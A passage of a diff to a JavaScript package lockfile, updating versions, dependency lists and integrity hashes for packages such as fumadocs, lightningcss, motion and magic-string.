"@types/estree-jsx", "@types/hast", "@types/mdast", "@types/react", "algoliasearch", "flexsearch", "lucide-react", "next", "react", "react-dom", "react-router", "waku", "zod"] }, "sha512-vd/hidAsC1d8ldrfCvr/vb/H46AC/iRm0Zp4SOWWWfa1iNoFw1mFIRGHwaNDB9ETkZPZ7xUwhi3QkhlXPrYbVw=="], + "fumadocs-core": ["fumadocs-core@16.15.4", "", { "dependencies": { "@fumari/image-size": "^0.1.0", "estree-util-value-to-estree": "^3.5.0", "github-slugger": "^2.0.0", "hast-util-to-estree": "^3.1.3", "hast-util-to-jsx-runtime": "^2.3.6", "mdast-util-mdx": "^3.0.0", "mdast-util-to-markdown": "^2.1.2", "npm-to-yarn": "3.2.0", "remark": "^15.0.1", "remark-gfm": "^4.0.1", "remark-rehype": "^11.1.2", "scroll-into-view-if-needed": "^3.1.0", "shiki": "^4.4.3", "tinyglobby": "^0.2.17", "unified": "^11.0.5", "unist-util-visit": "^5.1.0", "vfile": "^6.0.3", "yaml": "^2.9.0", "zbsearch": "^4.0.0" }, "peerDependencies": { "@mdx-js/mdx": "*", "@mixedbread/sdk": "0.x.x", "@orama/core": "1.x.x", "@oramacloud/client": "2.x.x", "@tanstack/react-router": "1.x.x", "@types/estree-jsx": "*", "@types/hast": "*", "@types/mdast": "*", "@types/react": "*", "algoliasearch": "5.x.x", "flexsearch": "*", "lucide-react": "*", "next": "16.x.x", "react": "^19.2.0", "react-dom": "^19.2.0", "react-router": "7.x.x || 8.x.x", "waku": "*", "zod": "4.x.x" }, "optionalPeers": ["@mdx-js/mdx", "@mixedbread/sdk", "@orama/core", "@oramacloud/client", "@tanstack/react-router", "@types/estree-jsx", "@types/hast", "@types/mdast", "@types/react", "algoliasearch", "flexsearch", "lucide-react", "next", "react", "react-dom", "react-router", "waku", "zod"] }, "sha512-kdOuM0tvHkLWajnDu73BmtryPuUq4xsu610ssl1YMAm9fYF7BRmvYxx2apHbyf2Lt+7w8OEiWDTmB8Ja3zqp4Q=="], - "fumadocs-mdx": ["fumadocs-mdx@15.0.12", "", { "dependencies": { "@mdx-js/mdx": "^3.1.1", "@standard-schema/spec": "^1.1.0", "chokidar": "^5.0.0", "esbuild": "^0.28.0", "estree-util-value-to-estree": "^3.5.0", "js-yaml": "^4.2.0", "mdast-util-mdx": "^3.0.0", "picocolors": "^1.1.1", "picomatch": "^4.0.4", "tinyexec": "^1.2.4", "tinyglobby": "^0.2.17", "unified": "^11.0.5", "unist-util-remove-position": "^5.0.0", "unist-util-visit": "^5.1.0", "vfile": "^6.0.3", "zod": "^4.4.3" }, "peerDependencies": { "@types/mdast": "*", "@types/mdx": "*", "@types/react": "*", "fumadocs-core": "^16.7.0", "mdast-util-directive": "*", "next": "^15.3.0 || ^16.0.0", "react": "^19.2.0", "rolldown": "*", "vite": "7.x.x || 8.x.x" }, "optionalPeers": ["@types/mdast", "@types/mdx", "@types/react", "mdast-util-directive", "next", "react", "rolldown", "vite"], "bin": { "fumadocs-mdx": "./bin.js" } }, "sha512-R4WenrNQxSKi+QU46Q1cscVWi+S90dj3As4jdN+vgChO2o0TVOj+FFIe3onWM7mglhPj53NxZp/upP+t/ryekQ=="], + "fumadocs-mdx": ["fumadocs-mdx@15.4.0", "", { "dependencies": { "@mdx-js/mdx": "^3.1.1", "@standard-schema/spec": "^1.1.0", "chokidar": "^5.0.0", "esbuild": "^0.28.2", "estree-util-value-to-estree": "^3.5.0", "github-slugger": "^2.0.0", "magic-string": "^1.2.2", "mdast-util-mdx": "^3.0.0", "picocolors": "^1.1.1", "picomatch": "^4.0.7", "tinyexec": "^1.3.0", "tinyglobby": "^0.2.17", "unified": "^11.0.5", "unist-util-remove-position": "^5.0.0", "unist-util-visit": "^5.1.0", "vfile": "^6.0.3", "yaml": "^2.9.0", "yuku-analyzer": "^0.9.1", "zod": "^4.4.3" }, "peerDependencies": { "@fumadocs/satteri": "0.x.x", "@types/mdast": "*", "@types/mdx": "*", "@types/react": "*", "fumadocs-core": "^16.15.3", "mdast-util-directive": "*", "next": "^15.3.0 || ^16.0.0", "react": "^19.2.0", "rolldown": "*", "satteri": "^0.10.5", "vite": "7.x.x || 8.x.x" }, "optionalPeers": ["@fumadocs/satteri", "@types/mdast", "@types/mdx", "@types/react", "mdast-util-directive", "next", "react", "rolldown", "satteri", "vite"], "bin": { "fumadocs-mdx": "./bin.js" } }, "sha512-bJCQfsckKUQ4x2pyz8OdASEAARVMB49kOej7njaJ3t+tYsP1HnwkmqiO8e/jdQHcv6JH3XkXWidTho3ZC/WBcA=="], - "fumadocs-ui": ["fumadocs-ui@16.10.5", "", { "dependencies": { "@fuma-translate/react": "^1.0.2", "@fumadocs/tailwind": "0.0.5", "@radix-ui/react-accordion": "^1.2.14", "@radix-ui/react-collapsible": "^1.1.14", "@radix-ui/react-dialog": "^1.1.17", "@radix-ui/react-direction": "^1.1.2", "@radix-ui/react-navigation-menu": "^1.2.16", "@radix-ui/react-popover": "^1.1.17", "@radix-ui/react-presence": "^1.1.6", "@radix-ui/react-scroll-area": "^1.2.12", "@radix-ui/react-slot": "^1.3.0", "@radix-ui/react-tabs": "^1.1.15", "class-variance-authority": "^0.7.1", "lucide-react": "^1.20.0", "motion": "^12.40.0", "next-themes": "^0.4.6", "react-remove-scroll": "^2.7.2", "rehype-raw": "^7.0.0", "scroll-into-view-if-needed": "^3.1.0", "shiki": "^4.2.0", "tailwind-merge": "^3.6.0", "unist-util-visit": "^5.1.0" }, "peerDependencies": { "@takumi-rs/image-response": "*", "@types/mdx": "*", "@types/react": "*", "fumadocs-core": "16.10.5", "next": "16.x.x", "react": "^19.2.0", "react-dom": "^19.2.0" }, "optionalPeers": ["@takumi-rs/image-response", "@types/mdx", "@types/react", "next"] }, "sha512-vd69ckYx/4a1aoJTCUJ5LBkqNeOFxm3r+8SK9bVYaeHJrY/n8+4W6b0soqxVqgj1UwNmgovoAg0vlsYmSxZBgQ=="], + "fumadocs-ui": ["fumadocs-ui@16.15.4", "", { "dependencies": { "@fuma-translate/react": "^1.0.2", "@fumadocs/tailwind": "0.1.1", "@radix-ui/react-accordion": "^1.2.20", "@radix-ui/react-collapsible": "^1.1.20", "@radix-ui/react-dialog": "^1.1.23", "@radix-ui/react-direction": "^1.1.4", "@radix-ui/react-navigation-menu": "^1.2.22", "@radix-ui/react-popover": "^1.1.23", "@radix-ui/react-presence": "^1.1.10", "@radix-ui/react-scroll-area": "^1.2.18", "@radix-ui/react-slot": "^1.3.3", "@radix-ui/react-tabs": "^1.1.21", "class-variance-authority": "^0.7.1", "cnfast": "^0.1.0", "lucide-react": "^1.34.0", "motion": "^13.1.1", "next-themes": "^0.4.6", "react-remove-scroll": "^2.7.2", "rehype-raw": "^7.0.0", "scroll-into-view-if-needed": "^3.1.0", "shiki": "^4.4.3", "unist-util-visit": "^5.1.0" }, "peerDependencies": { "@types/mdx": "*", "@types/react": "*", "fumadocs-core": "16.15.4", "next": "16.x.x", "react": "^19.2.0", "react-dom": "^19.2.0", "takumi-js": "*" }, "optionalPeers": ["@types/mdx", "@types/react", "next", "takumi-js"] }, "sha512-MWtQyrTEEaxop7z8TPKTuBs3xMqxW32Sr9wBlbiPAm+MxmeOSU+bfRThrOJSAgvpXo99bbx3hxhNij0441pH8g=="], "gensync": ["gensync@1.0.0-beta.2", "", {}, "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg=="], @@ -795,7 +774,7 @@ "globrex": ["globrex@0.1.2", "", {}, "sha512-uHJgbwAMwNFf5mLst7IWLNg14x1CkeqglJb/K3doi4dw6q2IvAAmM/Y81kevy83wP+Sst+nutFTYOGg3d1lsxg=="], - "goober": ["goober@2.1.18", "", { "peerDependencies": { "csstype": "^3.0.10" } }, "sha512-2vFqsaDVIT9Gz7N6kAL++pLpp41l3PfDuusHcjnGLfR6+huZkl6ziX+zgVC3ZxpqWhzH6pyDdGrCeDhMIvwaxw=="], + "goober": ["goober@2.1.19", "", { "peerDependencies": { "csstype": "^3.0.10" } }, "sha512-U7veizMqxyKlM58+Z5j2ngJBH/r9siDmxpvNxSw0PylF6WQvrASJEZrxh1hidRBJc2jqoBVSyOban5u8m+6Rxg=="], "graceful-fs": ["graceful-fs@4.2.11", "", {}, "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ=="], @@ -823,13 +802,13 @@ "highlightjs-vue": ["highlightjs-vue@1.0.0", "", {}, "sha512-PDEfEF102G23vHmPhLyPboFCD+BkMGu+GuJe2d9/eH4FsCwvgBpnc9n0pGE+ffKdph38s6foEZiEjdgHdzp+IA=="], - "html-parse-stringify": ["html-parse-stringify@3.0.1", "", { "dependencies": { "void-elements": "3.1.0" } }, "sha512-KknJ50kTInJ7qIScF3jeaFRpMpE8/lfiTdzf/twXyPBLAGrLRTmkz3AdTnKeh40X8k9L2fdYwEp/42WGXIRGcg=="], + "html-parse-stringify": ["html-parse-stringify@4.0.1", "", {}, "sha512-0zHsZJrK7S3K2aucXWL6ycoYJ/iNtIcFHC/nYQgFklPtrv5LpJctIiSCroWZWeuoXvuyFdzp6KzjJQ+OT5MfFw=="], "html-void-elements": ["html-void-elements@3.0.0", "", {}, "sha512-bEqo66MRXsUGxWHV5IP0PUiAWwoEjba4VCzg0LjFJBpchPaTfyfCKTG6bc5F8ucKec3q5y6qOdGyYTSBEvhCrg=="], "human-signals": ["human-signals@2.1.0", "", {}, "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw=="], - "i18next": ["i18next@26.3.3", "", { "peerDependencies": { "typescript": "^5 || ^6" }, "optionalPeers": ["typescript"] }, "sha512-aYVegyBdXSO93CMMihvr47jI7GHSOcIahMpJX+qzUXDzW4xDJf2uenIA+45vDU+YhiVdcfsql70AC9RVdMNrHg=="], + "i18next": ["i18next@26.4.0", "", { "peerDependencies": { "typescript": "^5 || ^6 || ^7" }, "optionalPeers": ["typescript"] }, "sha512-rsmK5bFqsD1AetSFSIa43wtNR4WpvvH4p0tLEsTxkC7QTrfdFm06nbQ95bh8Og4wwaCnUEcm9DVYL2cgxitiQg=="], "ini": ["ini@1.3.8", "", {}, "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew=="], @@ -855,7 +834,7 @@ "is-wsl": ["is-wsl@2.2.0", "", { "dependencies": { "is-docker": "^2.0.0" } }, "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww=="], - "isbot": ["isbot@5.1.44", "", {}, "sha512-PGEHtwMnKbZpeSEXW2Utx+/JWed7dp6DiH0WWg33vGSDA7RUvpUeJSVlLrVkQ1RCpvDOUc/eH9ql7VsdbBZ8pA=="], + "isbot": ["isbot@5.2.2", "", {}, "sha512-iQcBXcd+Rv/pkubRyGh2utW2j1oPG5hZY6TUhVPpqK4G+o3IbxpJNx04hgksjc/N7GK5pEorUxDeg31cFgEk/w=="], "isexe": ["isexe@2.0.0", "", {}, "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw=="], @@ -863,39 +842,37 @@ "js-tokens": ["js-tokens@4.0.0", "", {}, "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ=="], - "js-yaml": ["js-yaml@5.2.0", "", { "dependencies": { "argparse": "^2.0.1" }, "bin": { "js-yaml": "bin/js-yaml.mjs" } }, "sha512-YeLUMlvR4Ou1B119LIaM0r65JvbOBooJDc9yEu0dClb/uSC5P4FrLU8OCCz/HXWvtPoIrR0dRzABTjo1sTN9Bw=="], - - "jsesc": ["jsesc@3.0.2", "", { "bin": { "jsesc": "bin/jsesc" } }, "sha512-xKqzzWXDttJuOcawBt4KnKHHIf5oQ/Cxax+0PWFG+DFDgHNAdi+TXECADI+RYiFUMmx8792xsMbbgXj4CwnP4g=="], + "jsesc": ["jsesc@3.1.0", "", { "bin": { "jsesc": "bin/jsesc" } }, "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA=="], "json-schema-traverse": ["json-schema-traverse@1.0.0", "", {}, "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="], "json5": ["json5@2.2.3", "", { "bin": { "json5": "lib/cli.js" } }, "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg=="], - "launch-editor": ["launch-editor@2.12.0", "", { "dependencies": { "picocolors": "^1.1.1", "shell-quote": "^1.8.3" } }, "sha512-giOHXoOtifjdHqUamwKq6c49GzBdLjvxrd2D+Q4V6uOHopJv7p9VJxikDsQ/CBXZbEITgUqSVHXLTG3VhPP1Dg=="], + "launch-editor": ["launch-editor@2.14.1", "", { "dependencies": { "picocolors": "^1.1.1", "shell-quote": "^1.8.4" } }, "sha512-QWBrQsMpH7gPr965dsKD/3cKWiNoTjpATQf++Xq63N6sKRGMwlVXz41O1IZTMfZQgBctD/K5Zt06+/I6pP6+HA=="], - "lightningcss": ["lightningcss@1.32.0", "", { "dependencies": { "detect-libc": "^2.0.3" }, "optionalDependencies": { "lightningcss-android-arm64": "1.32.0", "lightningcss-darwin-arm64": "1.32.0", "lightningcss-darwin-x64": "1.32.0", "lightningcss-freebsd-x64": "1.32.0", "lightningcss-linux-arm-gnueabihf": "1.32.0", "lightningcss-linux-arm64-gnu": "1.32.0", "lightningcss-linux-arm64-musl": "1.32.0", "lightningcss-linux-x64-gnu": "1.32.0", "lightningcss-linux-x64-musl": "1.32.0", "lightningcss-win32-arm64-msvc": "1.32.0", "lightningcss-win32-x64-msvc": "1.32.0" } }, "sha512-NXYBzinNrblfraPGyrbPoD19C1h9lfI/1mzgWYvXUTe414Gz/X1FD2XBZSZM7rRTrMA8JL3OtAaGifrIKhQ5yQ=="], + "lightningcss": ["lightningcss@1.33.0", "", { "dependencies": { "detect-libc": "^2.0.3" }, "optionalDependencies": { "lightningcss-android-arm64": "1.33.0", "lightningcss-darwin-arm64": "1.33.0", "lightningcss-darwin-x64": "1.33.0", "lightningcss-freebsd-x64": "1.33.0", "lightningcss-linux-arm-gnueabihf": "1.33.0", "lightningcss-linux-arm64-gnu": "1.33.0", "lightningcss-linux-arm64-musl": "1.33.0", "lightningcss-linux-x64-gnu": "1.33.0", "lightningcss-linux-x64-musl": "1.33.0", "lightningcss-win32-arm64-msvc": "1.33.0", "lightningcss-win32-x64-msvc": "1.33.0" } }, "sha512-WkUDrojuJs0xkgGf2udWxa3yGBRxPtxUkB79i6aCZLRgc7PM8fZe9TosfPDcvEpQZbuFASnHYmRLBLUbmLOIIA=="], - "lightningcss-android-arm64": ["lightningcss-android-arm64@1.32.0", "", { "os": "android", "cpu": "arm64" }, "sha512-YK7/ClTt4kAK0vo6w3X+Pnm0D2cf2vPHbhOXdoNti1Ga0al1P4TBZhwjATvjNwLEBCnKvjJc2jQgHXH0NEwlAg=="], + "lightningcss-android-arm64": ["lightningcss-android-arm64@1.33.0", "", { "os": "android", "cpu": "arm64" }, "sha512-gEpRTalKdosp4Bb8qWtc2iOgE5SeIHlpS1up9bFq2wAyYhl1UdTObYiHe98zEM9SQvSoqQZ1IQD0JNpg3Ml5pg=="], - "lightningcss-darwin-arm64": ["lightningcss-darwin-arm64@1.32.0", "", { "os": "darwin", "cpu": "arm64" }, "sha512-RzeG9Ju5bag2Bv1/lwlVJvBE3q6TtXskdZLLCyfg5pt+HLz9BqlICO7LZM7VHNTTn/5PRhHFBSjk5lc4cmscPQ=="], + "lightningcss-darwin-arm64": ["lightningcss-darwin-arm64@1.33.0", "", { "os": "darwin", "cpu": "arm64" }, "sha512-Sciaz8eenNTKn9b3t7+xr0ipTp9YxKQY4npwQ3mrRuL0BAVHBLyZxofhaKBAVtzmtRZ/zTyo0/to4B1uWG/Djg=="], - "lightningcss-darwin-x64": ["lightningcss-darwin-x64@1.32.0", "", { "os": "darwin", "cpu": "x64" }, "sha512-U+QsBp2m/s2wqpUYT/6wnlagdZbtZdndSmut/NJqlCcMLTWp5muCrID+K5UJ6jqD2BFshejCYXniPDbNh73V8w=="], + "lightningcss-darwin-x64": ["lightningcss-darwin-x64@1.33.0", "", { "os": "darwin", "cpu": "x64" }, "sha512-Z5UPAxzrjlWNNyGy6i65cJzzvgJ5D3T6wMvs+gWpY9d7qRhANrxqAp6LhxIgZhWEw18RfJTGcRxjuLIBr+m8XQ=="], - "lightningcss-freebsd-x64": ["lightningcss-freebsd-x64@1.32.0", "", { "os": "freebsd", "cpu": "x64" }, "sha512-JCTigedEksZk3tHTTthnMdVfGf61Fky8Ji2E4YjUTEQX14xiy/lTzXnu1vwiZe3bYe0q+SpsSH/CTeDXK6WHig=="], + "lightningcss-freebsd-x64": ["lightningcss-freebsd-x64@1.33.0", "", { "os": "freebsd", "cpu": "x64" }, "sha512-QQM/Ti/hQajJwCY+RiWuCZ9sdtI/XQk7nDK5vC8kkdwixezOlDgvDx7+RT+QjK6FcFT4MpsuoBnHIo/O3StRRg=="], - "lightningcss-linux-arm-gnueabihf": ["lightningcss-linux-arm-gnueabihf@1.32.0", "", { "os": "linux", "cpu": "arm" }, "sha512-x6rnnpRa2GL0zQOkt6rts3YDPzduLpWvwAF6EMhXFVZXD4tPrBkEFqzGowzCsIWsPjqSK+tyNEODUBXeeVHSkw=="], + "lightningcss-linux-arm-gnueabihf": ["lightningcss-linux-arm-gnueabihf@1.33.0", "", { "os": "linux", "cpu": "arm" }, "sha512-N7FVBe6iS24MlM6R/4RBTxGhQheZGs7tiQ9U32UtF75NzP5Q7xWPRqLBCKxlRQRk3rY1jCIPLzx7WzOhuUIRLQ=="], - "lightningcss-linux-arm64-gnu": ["lightningcss-linux-arm64-gnu@1.32.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-0nnMyoyOLRJXfbMOilaSRcLH3Jw5z9HDNGfT/gwCPgaDjnx0i8w7vBzFLFR1f6CMLKF8gVbebmkUN3fa/kQJpQ=="], + "lightningcss-linux-arm64-gnu": ["lightningcss-linux-arm64-gnu@1.33.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-j2v/itmy4HlNxlc6voKXYgBqNi0Ng2LShg4z7GufpEgs05P+2suBVyi9I6YHq5uoVFx9ETin3eCEhLVyXGQnKg=="], - "lightningcss-linux-arm64-musl": ["lightningcss-linux-arm64-musl@1.32.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-UpQkoenr4UJEzgVIYpI80lDFvRmPVg6oqboNHfoH4CQIfNA+HOrZ7Mo7KZP02dC6LjghPQJeBsvXhJod/wnIBg=="], + "lightningcss-linux-arm64-musl": ["lightningcss-linux-arm64-musl@1.33.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-yiO5ROMuYQgXbC60yjZU5CYSFZGKXL0HFATXt9mHJn1+zW55oCtMI9NfcVhYLMFDL7gV7oBPon/EmMMGg2OvtQ=="], - "lightningcss-linux-x64-gnu": ["lightningcss-linux-x64-gnu@1.32.0", "", { "os": "linux", "cpu": "x64" }, "sha512-V7Qr52IhZmdKPVr+Vtw8o+WLsQJYCTd8loIfpDaMRWGUZfBOYEJeyJIkqGIDMZPwPx24pUMfwSxxI8phr/MbOA=="], + "lightningcss-linux-x64-gnu": ["lightningcss-linux-x64-gnu@1.33.0", "", { "os": "linux", "cpu": "x64" }, "sha512-ar+Ju7LmcN0Jo4FpL4hpFybwNG9/3A/Br5KW2n2jyODg3MEZXaDYADdemoNS+BDNfMgKvylJLj4S5tyRActuAg=="], - "lightningcss-linux-x64-musl": ["lightningcss-linux-x64-musl@1.32.0", "", { "os": "linux", "cpu": "x64" }, "sha512-bYcLp+Vb0awsiXg/80uCRezCYHNg1/l3mt0gzHnWV9XP1W5sKa5/TCdGWaR/zBM2PeF/HbsQv/j2URNOiVuxWg=="], + "lightningcss-linux-x64-musl": ["lightningcss-linux-x64-musl@1.33.0", "", { "os": "linux", "cpu": "x64" }, "sha512-RYiYbkokw0trfKqqzfF55lginwEPrD3OJDfTuJzFs1MK6iFnDenaz1fqLLtX4ITG3OktJQXOeTaw1awrBAlZPw=="], - "lightningcss-win32-arm64-msvc": ["lightningcss-win32-arm64-msvc@1.32.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-8SbC8BR40pS6baCM8sbtYDSwEVQd4JlFTOlaD3gWGHfThTcABnNDBda6eTZeqbofalIJhFx0qKzgHJmcPTnGdw=="], + "lightningcss-win32-arm64-msvc": ["lightningcss-win32-arm64-msvc@1.33.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-1K+MPfLSFVpphzpdbfkhlWk6wBrTObBzS2T6db10PNOZgR9GoVsAWzwNyuhUYYbTp23j+4RrncfujZ4uAzXvwA=="], - "lightningcss-win32-x64-msvc": ["lightningcss-win32-x64-msvc@1.32.0", "", { "os": "win32", "cpu": "x64" }, "sha512-Amq9B/SoZYdDi1kFrojnoqPLxYhQ4Wo5XiL8EVJrVsB8ARoC1PWW6VGtT0WKCemjy8aC+louJnjS7U18x3b06Q=="], + "lightningcss-win32-x64-msvc": ["lightningcss-win32-x64-msvc@1.33.0", "", { "os": "win32", "cpu": "x64" }, "sha512-OlEICDx/Xl0FqSp4bry8zFnCvGpig3Gl4gCquvYwHuqJKEC1+n9NgDniFvqHGmMv1ZkqDJrDqKKSykTDX+ehuA=="], "lodash": ["lodash@4.18.1", "", {}, "sha512-dMInicTPVE8d1e5otfwmmjlxkZoUpiVLwyeTdUsi/Caj/gfzzblBcCE5sRHV/AsjuCmxWrte2TNGSYuCeCq+0Q=="], @@ -907,9 +884,9 @@ "lru-cache": ["lru-cache@5.1.1", "", { "dependencies": { "yallist": "^3.0.2" } }, "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w=="], - "lucide-react": ["lucide-react@1.21.0", "", { "peerDependencies": { "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-reEZMXq8Qdd5jg5XYkQ5TR1fB/GiQ7ih4vcrthYDtgjSDwh0i6/YLiGjsWsIwgN49gpAnd4J2elSNzncMEEUUQ=="], + "lucide-react": ["lucide-react@1.37.0", "", { "peerDependencies": { "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-LPsB4rD1TD6wZu1djKOf9vUnS1jTNaHbolXebXDgiTdb6jeA1agIJhJsIybCmjKmQClcOaal1o1OaiYahEftyQ=="], - "magic-string": ["magic-string@0.30.21", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.5" } }, "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ=="], + "magic-string": ["magic-string@1.2.3", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.5" } }, "sha512-Bpb0W2TbLKOZ7vJnOUnVRGq3WL2p+ISV29M6hYPL1AFCpyKZpdr5ytiXoTSSxRVhg8YW7f65+6gbG8WG6PCa/g=="], "markdown-extensions": ["markdown-extensions@2.0.0", "", {}, "sha512-o5vL7aDWatOTX8LzaS1WMoaoxIiLRQJuIKKe2wAw6IeULDHaqbiqiggmx+pKvZDb1Sj+pE46Sn1T7lCqfFtg1Q=="], @@ -917,7 +894,7 @@ "mdast-util-find-and-replace": ["mdast-util-find-and-replace@3.0.2", "", { "dependencies": { "@types/mdast": "^4.0.0", "escape-string-regexp": "^5.0.0", "unist-util-is": "^6.0.0", "unist-util-visit-parents": "^6.0.0" } }, "sha512-Tmd1Vg/m3Xz43afeNxDIhWRtFZgM2VLyaf4vSTYwudTyeuTneoL3qtWMA5jeLyz/O1vDJmmV4QuScFCA2tBPwg=="], - "mdast-util-from-markdown": ["mdast-util-from-markdown@2.0.2", "", { "dependencies": { "@types/mdast": "^4.0.0", "@types/unist": "^3.0.0", "decode-named-character-reference": "^1.0.0", "devlop": "^1.0.0", "mdast-util-to-string": "^4.0.0", "micromark": "^4.0.0", "micromark-util-decode-numeric-character-reference": "^2.0.0", "micromark-util-decode-string": "^2.0.0", "micromark-util-normalize-identifier": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0", "unist-util-stringify-position": "^4.0.0" } }, "sha512-uZhTV/8NBuw0WHkPTrCqDOl0zVe1BIng5ZtHoDk49ME1qqcjYmmLmOf0gELgcRMxN4w2iuIeVso5/6QymSrgmA=="], + "mdast-util-from-markdown": ["mdast-util-from-markdown@2.0.3", "", { "dependencies": { "@types/mdast": "^4.0.0", "@types/unist": "^3.0.0", "decode-named-character-reference": "^1.0.0", "devlop": "^1.0.0", "mdast-util-to-string": "^4.0.0", "micromark": "^4.0.0", "micromark-util-decode-numeric-character-reference": "^2.0.0", "micromark-util-decode-string": "^2.0.0", "micromark-util-normalize-identifier": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0", "unist-util-stringify-position": "^4.0.0" } }, "sha512-W4mAWTvSlKvf8L6J+VN9yLSqQ9AOAAvHuoDAmPkz4dHf553m5gVj2ejadHJhoJmcmxEnOv6Pa8XJhpxE93kb8Q=="], "mdast-util-gfm": ["mdast-util-gfm@3.1.0", "", { "dependencies": { "mdast-util-from-markdown": "^2.0.0", "mdast-util-gfm-autolink-literal": "^2.0.0", "mdast-util-gfm-footnote": "^2.0.0", "mdast-util-gfm-strikethrough": "^2.0.0", "mdast-util-gfm-table": "^2.0.0", "mdast-util-gfm-task-list-item": "^2.0.0", "mdast-util-to-markdown": "^2.0.0" } }, "sha512-0ulfdQOM3ysHhCJ1p06l0b0VKlhU0wuQs3thxZQagjcjPrlFRqY215uZGHHJan9GEAXd9MbfPjFJz+qMkVR6zQ=="], @@ -1025,32 +1002,36 @@ "mimic-fn": ["mimic-fn@2.1.0", "", {}, "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg=="], - "minimatch": ["minimatch@10.2.4", "", { "dependencies": { "brace-expansion": "^5.0.2" } }, "sha512-oRjTw/97aTBN0RHbYCdtF1MQfvusSIBQM0IZEgzl6426+8jSC0nF1a/GmnVLpfB9yyr6g6FTqWqiZVbxrtaCIg=="], + "minimatch": ["minimatch@10.2.6", "", { "dependencies": { "brace-expansion": "^5.0.8" } }, "sha512-vpLQEs+VLCr1nU0BXS07maYoFwlDAH0gngQuuttxIwutDFEMHq2blX+8vpgxDdK3J1PwjCJiep77OitTZ4Ll1A=="], "minimist": ["minimist@1.2.8", "", {}, "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA=="], "minipass": ["minipass@7.1.3", "", {}, "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A=="], - "motion": ["motion@12.42.0", "", { "dependencies": { "framer-motion": "^12.42.0", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-Qhwvu9sVl5/URSq5CNzwMCpSKK8Uhnrwb6VO977kZyj/wOCS7mWebJUnBoHx5cZU1Zv8a9BD5CSICWKAlrLJgA=="], + "motion": ["motion@13.1.1", "", { "dependencies": { "framer-motion": "^13.1.1", "tslib": "^2.4.0" }, "peerDependencies": { "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["react", "react-dom"] }, "sha512-WNZoK6xiF+kkTqkZ5K7FDDh6A8BG4i5Hc7KXtW8gtTxkpJFds+hIOrDaQGKjQj/AE/i4hJqAaUHEqp/Qo02y6Q=="], - "motion-dom": ["motion-dom@12.42.0", "", { "dependencies": { "motion-utils": "^12.39.0" } }, "sha512-M63h4n8R+quJdNhBwuLlgxM+OLYa9+I/T2pzDRboB9fLXRdbou+Gw7Zury+SkpaCyACP1JHSjHgZ1EgTkBr30w=="], + "motion-dom": ["motion-dom@13.1.1", "", { "dependencies": { "motion-utils": "^13.0.0" } }, "sha512-XSf8VYWSB6G/0IY3rWVbyLcxWXtAVHkN1PQE2agTaCv3u8RGvbwu56TyyR/MNzBqqNavEBTZzErcxI1TxBrjcA=="], - "motion-utils": ["motion-utils@12.39.0", "", {}, "sha512-8nadJAJjTtqRkmRF36FoJTrywK9nnFmnPwnSMyxaOCU7GDjN9RTMJIxx9De8ErM+vpPhMccr/6fo5WciyQLnMQ=="], + "motion-utils": ["motion-utils@13.0.0", "", {}, 